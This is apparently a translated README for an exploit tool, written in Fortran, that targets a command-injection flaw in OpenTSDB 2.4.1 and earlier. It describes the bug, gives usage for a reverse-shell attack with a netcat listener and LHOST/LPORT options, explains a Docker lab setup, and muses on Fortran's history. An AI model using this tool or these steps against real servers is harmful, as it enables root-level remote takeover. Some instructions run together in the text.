
Ein Exploit für OpenTSDB <= 2.4.1 Befehlseinschleusung (CVE-2023-36812/CVE-2023-25826) geschrieben in Fortran
Ein Exploit für OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) geschrieben in Fortran
Dies ist ein Exploit für eine Befehlseinschleusungsschwachstelle (Command Injection) in OpenTSDB Version 2.4.1 und früher (CVE-2023-36812/CVE-2023-25826). Der Exploit ist in modernem Fortran geschrieben und nutzt die offizielle Fortran http-client library, die Anfang dieses Jahres erstellt wurde.
OpenTSDB ist eine Open-Source-Zeitreihendatenbank, die in Java geschrieben ist. Im Jahr 2020 wurde in den Versionen 2.4.0 und früher eine Befehlseinschleusungsschwachstelle entdeckt, die ausgenutzt werden konnte, um Remote-Code-Ausführung auf dem Host mit Root-Rechten zu erlangen. Da OpenTSDB keine Authentifizierung unterstützt, konnte diese als CVE-2020-35476 verfolgte Schwachstelle von jedem mit Zugriff auf die OpenTSDB-Weboberfläche ausgenutzt werden. Das Problem wurde in Version 2.4.1 behoben.
In diesem Jahr wurde festgestellt, dass der Patch für CVE-2020-35476 unvollständig war und eine Befehlseinschleusung in OpenTSDB 2.4.1 über mehrere Vektoren immer noch möglich ist.
Details:
Die Kurzversion ist, dass ich diese Unterhaltung sah:

Die Idee, einen Exploit in der Programmiersprache zu schreiben, mit der Menschen auf den Mond gebracht wurden, faszinierte mich so sehr, dass ich es selbst ausprobieren musste. Dieser Exploit ist das Ergebnis dieses Experiments. Auf die Frage, ob es erfolgreich war, kann ich nur mit diesen weisen, aber verfluchten Worten antworten, die alle Entwickler in Blut verbinden: Es funktioniert auf meinem Rechner. ¯\(ツ)/¯
Wie auch immer, meine wichtigsten Erkenntnisse aus diesem Projekt sind:
Alles in allem ist es nicht leicht vorstellbar, dass diese Sprache wirklich an Bedeutung in der Offensivsicherheit gewinnt, schon allein, weil es so viele solide, moderne Alternativen für jeden erdenklichen Anwendungsfall gibt (Python, Go, Rust, Ruby, C# um nur einige zu nennen). Aber wenn Sie gerne mit verschiedenen Programmiersprachen experimentieren und nichts dagegen haben, Ihre Strings ständig in trim()-Aufrufe zu verpacken (BITTE BEACHTEN SIE DAS, ES WIRD IHNEN SO VIEL LEID ERSAREN), dann ist Fortran auf jeden Fall einen Blick wert. Ich drücke dieser Sprache jetzt unironisch die Daumen und werde sie vielleicht wieder besuchen, wenn sie weiterhin Unterstützung für die http-client-Bibliothek hinzufügen, insbesondere wenn sie irgendwann eine http-server-Bibliothek hinzufügen.
TL;DR: Fortran http-client lib geht brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /path/to/opentsdb_key_cmd_injection/
fpm aus (stellen Sie sicher, dass es zuerst installiert ist. Siehe Installationsanweisungen im nächsten Abschnitt)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Optionen:
-t - ZIEL-URL: die Basis-URL zu OpenTSDB (erforderlich)-l - LHOST: die IP des Systems, auf dem Sie einen Listener betreiben (erforderlich)-p - LPORT: der Listener-Port (erforderlich)-v - VERBOSE: aktiviert detaillierte Ausgabe (optional)gfortran. Auf Debian-basierten Systemen kann dies wie folgt geschehen:apt install gfortran
chmod +x /<path>/to/fpm
Stellen Sie sicher, dass git auf Ihrem System installiert ist, bevor Sie fpm installieren.
Für eine manuelle Installation können Sie den offiziellen Installationsanweisungen hier folgen. Dies kann jedoch ärgerlich sein, daher empfehle ich die Verwendung von Docker.
Für Version 2.4.0 können Sie das vulnhub Docker-Image verwenden und den Installationsanweisungen hier folgen. Dieses Image wurde für CVE-2020-35476 erstellt, eine ältere Schwachstelle in OpenTSDB bis einschließlich 2.4.0.
Für Version 2.4.1 und wahrscheinlich jede andere Version können Sie das vulhub-Image für OpenTSDB 2.4.0 verwenden und es bearbeiten, um die gewünschte Version zu installieren. Ich bin diesen Ansatz für 2.4.1 gefolgt und es hat großartig funktioniert.
Dockerfile- und docker-entrypoint.sh-Dateien von vulhub OpenTSDB 2.4.0 von hier und speichern Sie sie in einem eigenen Verzeichnis.Dockerfile alle Vorkommen von 2.4.0 durch Ihre gewünschte Version, z.B. 2.4.1docker-entrypoint.sh sind keine Änderungen erforderlich.docker-compose.yml-Datei mit folgendem Inhalt:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
Ich habe diese Dateistruktur verwendet:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml-Datei ausführen:docker-compose up -d
Fortran ist meist als eine archaische Sprache bekannt, die eine wichtige Rolle in der Geschichte der modernen Informatik spielte, aber heute nicht mehr als relevant angesehen wird. Es wurde erstmals 1957 veröffentlicht, mehr als ein Jahrzehnt vor ARPANET und Unix. Laut diesem Zeitreihen-Video war es in den 1960er und 1970er Jahren die dominierende Programmiersprache und blieb bis Ende der 1990er Jahre unter den 10 beliebtesten Sprachen. Aber zur Zeit der Veröffentlichung von Windows 98 war es eindeutig aus der Mode gekommen, zugunsten modernerer Sprachen wie C, C++, Java und JavaScript, die alle heute noch weit verbreitet sind.
Abgesehen von den tapferen Seelen, die Legacy-Systeme verwalten, bezweifle ich, dass viele Leute in der IT (geschweige denn außerhalb unserer Blase) in den letzten zwei Jahrzehnten auf Fortran gestoßen sind oder überhaupt wissen, dass es noch existiert. Trotzdem wird Fortran aktiv weiterentwickelt. Wie auf der offiziellen Fortran-Website angegeben, wurde die Sprache zuletzt 2018 überarbeitet, und wir werden hoffentlich in diesem Jahr (2023) eine weitere Überarbeitung sehen. Tatsächlich scheint die Fortran-Community in den letzten Jahren sehr aktiv gewesen zu sein und mehrere große Projekte zur Modernisierung des Ökosystems veröffentlicht zu haben, darunter:
Angesichts dessen scheinen die Betreuer auf ein gewisses Fortran-Comeback abzuzielen, oder zumindest der Sprache eine faire Chance zu geben, noch ein paar Jahrzehnte zu überleben. Während selbst der fanatischste Fortran-Fan wahrscheinlich nicht erwartet, dass die Sprache jemals wieder die Top 10 der beliebtesten Programmiersprachen knackt, hat die anhaltende Modernisierung der Sprache und ihres Ökosystems Fortran wahrscheinlich relevanter gemacht, als es in den letzten ein oder zwei Jahrzehnten war.